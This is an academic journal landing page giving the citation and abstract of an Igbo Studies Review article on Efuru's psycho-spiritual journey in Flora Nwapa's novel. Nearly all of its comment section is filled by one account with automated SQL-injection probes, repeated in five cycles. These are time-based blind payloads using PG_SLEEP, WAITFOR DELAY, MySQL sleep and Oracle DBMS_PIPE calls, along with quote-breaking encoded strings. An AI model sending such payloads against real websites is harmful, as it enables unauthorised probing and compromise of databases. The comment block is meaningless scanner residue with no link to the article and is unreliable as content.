Saturday, April 11, 2026 - 16:03

The Psycho-Spiritual Journey of an Igbo Androgyny: Efuru’s Quest for Her Higher Self in Efuru, Flora Nwapa’s Eponymous Novel

Ada Uzoamaka Azodo.   “The Psycho-Spiritual Journey of an Igbo Androgyny: Efuru’s Quest for Her Higher Self in Efuru, Flora Nwapa’s Eponymous Novel.”  Igbo Studies Review (ISR) , Goldline & Jacobs Publishing , no. 8, 2020 , pp. 58-91 .
1 130 995

Abstract

Efuru’s1 Psycho-Spiritual Journey in Flora Nwapa’s eponymous novel, Efuru, retraces Maureen Murdoch’s The Heroine’s Journey, a gendered modification of Joseph Campbell’s The Hero’s Journey,2 which is a cyclical and archetypal mapping of the idea of life as a continuous search for self-identity and purpose espoused in his Theory of the Monomyth. At journey’s end, the hero or heroine returns home renewed, wiser and integrated for self and service to the community. Employing the combined critical methodologies of the imaginary, semiotics, and reader-response--- Roland Barthes’ ideas of the readerly and writerly texts---this study seeks to derive extra meaning from the metanarrative beyond the pre-established, stable meaning of the text. From this angle of vision, all of Flora Nwapa’s heroine’s trials and tribulations are signposts of her reemergence, healing and wholesomeness, and are not by any means misfortunes. At her apotheosis, like Uha-miri, the Goddess of the Lake, her mirror image, ally, spiritual guide, and male-identified mentor of the spirit world, triumphant Efuru metamorphoses into a moral warrior against endemic and paralyzing patriarchy, becoming a role model of courage, endurance, and female empowerment.

 

Author(s): Ada Uzoamaka Azodo

About the author(s)

 

Published: May 21, 2020

Journal: Igbo Studies Review (ISR)

Issue: 8

Pages: 58-91

Keywords: journey, sacrifice, guide, spirituality, hero, heroine, model, patriarchy

Publisher: Goldline & Jacobs Publishing

Tags

Social Interactions

Please log in to like or comment.

Comments (130)

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

@@l0X6b

xsjyBldb

555����%2527%2522\'\"

xsjyBldb

555'"

xsjyBldb

555

xsjyBldb

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

xsjyBldb

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

xsjyBldb

5556NXLhnfy')) OR 307=(SELECT 307 FROM PG_SLEEP(15))--

xsjyBldb

555kftVsQdd') OR 94=(SELECT 94 FROM PG_SLEEP(15))--

xsjyBldb

555zelBREVK' OR 516=(SELECT 516 FROM PG_SLEEP(15))--

xsjyBldb

555-1)) OR 682=(SELECT 682 FROM PG_SLEEP(15))--

xsjyBldb

555-1) OR 255=(SELECT 255 FROM PG_SLEEP(15))--

xsjyBldb

555-1 OR 594=(SELECT 594 FROM PG_SLEEP(15))--

xsjyBldb

5550iwtSHZX'; waitfor delay '0:0:15' --

xsjyBldb

555-1 waitfor delay '0:0:15' --

xsjyBldb

555-1); waitfor delay '0:0:15' --

xsjyBldb

555-1; waitfor delay '0:0:15' --

xsjyBldb

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

xsjyBldb

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

xsjyBldb

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

xsjyBldb

555*if(now()=sysdate(),sleep(15),0)

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

@@1VoyJ

xsjyBldb

555����%2527%2522\'\"

xsjyBldb

555'"

xsjyBldb

555

xsjyBldb

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

xsjyBldb

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

xsjyBldb

555tPV4gmoh')) OR 511=(SELECT 511 FROM PG_SLEEP(15))--

xsjyBldb

555N4soBszs') OR 853=(SELECT 853 FROM PG_SLEEP(15))--

xsjyBldb

555BWJqEepQ' OR 577=(SELECT 577 FROM PG_SLEEP(15))--

xsjyBldb

555-1)) OR 429=(SELECT 429 FROM PG_SLEEP(15))--

xsjyBldb

555-1) OR 529=(SELECT 529 FROM PG_SLEEP(15))--

xsjyBldb

555-1 OR 700=(SELECT 700 FROM PG_SLEEP(15))--

xsjyBldb

555Gj3PMHjF'; waitfor delay '0:0:15' --

xsjyBldb

555-1 waitfor delay '0:0:15' --

xsjyBldb

555-1); waitfor delay '0:0:15' --

xsjyBldb

555-1; waitfor delay '0:0:15' --

xsjyBldb

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

xsjyBldb

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

xsjyBldb

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

xsjyBldb

555*if(now()=sysdate(),sleep(15),0)

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

@@HqlRW

xsjyBldb

555����%2527%2522\'\"

xsjyBldb

555'"

xsjyBldb

555

xsjyBldb

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

xsjyBldb

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

xsjyBldb

555hOrZvkjd')) OR 387=(SELECT 387 FROM PG_SLEEP(15))--

xsjyBldb

555lzG4IWr0') OR 889=(SELECT 889 FROM PG_SLEEP(15))--

xsjyBldb

555XmGYhy0o' OR 218=(SELECT 218 FROM PG_SLEEP(15))--

xsjyBldb

555-1)) OR 820=(SELECT 820 FROM PG_SLEEP(15))--

xsjyBldb

555-1) OR 510=(SELECT 510 FROM PG_SLEEP(15))--

xsjyBldb

555-1 OR 495=(SELECT 495 FROM PG_SLEEP(15))--

xsjyBldb

555gTbG1oLN'; waitfor delay '0:0:15' --

xsjyBldb

555-1 waitfor delay '0:0:15' --

xsjyBldb

555-1); waitfor delay '0:0:15' --

xsjyBldb

555-1; waitfor delay '0:0:15' --

xsjyBldb

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

xsjyBldb

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

xsjyBldb

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

xsjyBldb

555*if(now()=sysdate(),sleep(15),0)

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

@@V9296

xsjyBldb

555����%2527%2522\'\"

xsjyBldb

555'"

xsjyBldb

555

xsjyBldb

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

xsjyBldb

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

xsjyBldb

555O5aM3OEJ')) OR 679=(SELECT 679 FROM PG_SLEEP(15))--

xsjyBldb

5553ZegmPqx') OR 144=(SELECT 144 FROM PG_SLEEP(15))--

xsjyBldb

555Ke4ly63D' OR 972=(SELECT 972 FROM PG_SLEEP(15))--

xsjyBldb

555-1)) OR 59=(SELECT 59 FROM PG_SLEEP(15))--

xsjyBldb

555-1) OR 367=(SELECT 367 FROM PG_SLEEP(15))--

xsjyBldb

555-1 OR 41=(SELECT 41 FROM PG_SLEEP(15))--

xsjyBldb

555mrkLzra0'; waitfor delay '0:0:15' --

xsjyBldb

555-1 waitfor delay '0:0:15' --

xsjyBldb

555-1); waitfor delay '0:0:15' --

xsjyBldb

555-1; waitfor delay '0:0:15' --

xsjyBldb

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

xsjyBldb

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

xsjyBldb

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

xsjyBldb

555*if(now()=sysdate(),sleep(15),0)

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555

xsjyBldb

@@lKRRi

xsjyBldb

555����%2527%2522\'\"

xsjyBldb

555'"

xsjyBldb

555

xsjyBldb

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

xsjyBldb

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

xsjyBldb

555jzYZvqPy')) OR 780=(SELECT 780 FROM PG_SLEEP(15))--

xsjyBldb

555mRXJk9ql') OR 988=(SELECT 988 FROM PG_SLEEP(15))--

xsjyBldb

555hTIFGwX4' OR 38=(SELECT 38 FROM PG_SLEEP(15))--

xsjyBldb

555-1)) OR 128=(SELECT 128 FROM PG_SLEEP(15))--

xsjyBldb

555-1) OR 204=(SELECT 204 FROM PG_SLEEP(15))--

xsjyBldb

555-1 OR 815=(SELECT 815 FROM PG_SLEEP(15))--

xsjyBldb

555rXODL0v3'; waitfor delay '0:0:15' --

xsjyBldb

555-1 waitfor delay '0:0:15' --

xsjyBldb

555-1); waitfor delay '0:0:15' --

xsjyBldb

555-1; waitfor delay '0:0:15' --

xsjyBldb

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

xsjyBldb

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

xsjyBldb

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

xsjyBldb

555*if(now()=sysdate(),sleep(15),0)

xsjyBldb

555

xsjyBldb

555

xsjyBldb

555